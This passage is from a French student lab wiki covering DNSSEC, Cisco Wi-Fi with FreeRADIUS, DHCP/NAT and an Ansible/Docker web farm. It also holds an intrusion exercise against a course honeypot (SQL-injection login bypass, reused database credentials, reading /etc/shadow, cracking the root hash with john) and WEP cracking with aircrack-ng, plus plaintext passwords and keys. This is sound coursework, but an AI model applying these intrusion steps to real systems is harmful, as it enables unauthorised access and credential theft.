 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55007</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55007"/>
				<updated>2020-12-18T22:25:40Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
